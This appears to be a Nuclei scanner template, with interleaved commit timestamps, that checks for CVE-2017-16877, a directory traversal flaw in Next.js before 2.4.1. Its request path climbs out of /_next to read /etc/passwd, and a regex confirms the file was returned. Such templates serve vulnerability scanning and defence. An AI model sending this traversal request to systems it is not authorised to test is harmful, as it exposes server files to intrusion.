2021-02-26 15:05:49 +00:00
id : CVE-2017-16877
info :
name : Nextjs v2.4.1 LFI
author : pikpikcu
severity : high
2021-04-18 13:00:27 +00:00
description : ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
2021-03-10 14:15:41 +00:00
reference : https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
2021-02-26 15:05:49 +00:00
tags : cve,cve2017,nextjs,lfi
requests :
- method : GET
path :
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
part : body
condition : and
- type : status
status :
- 200
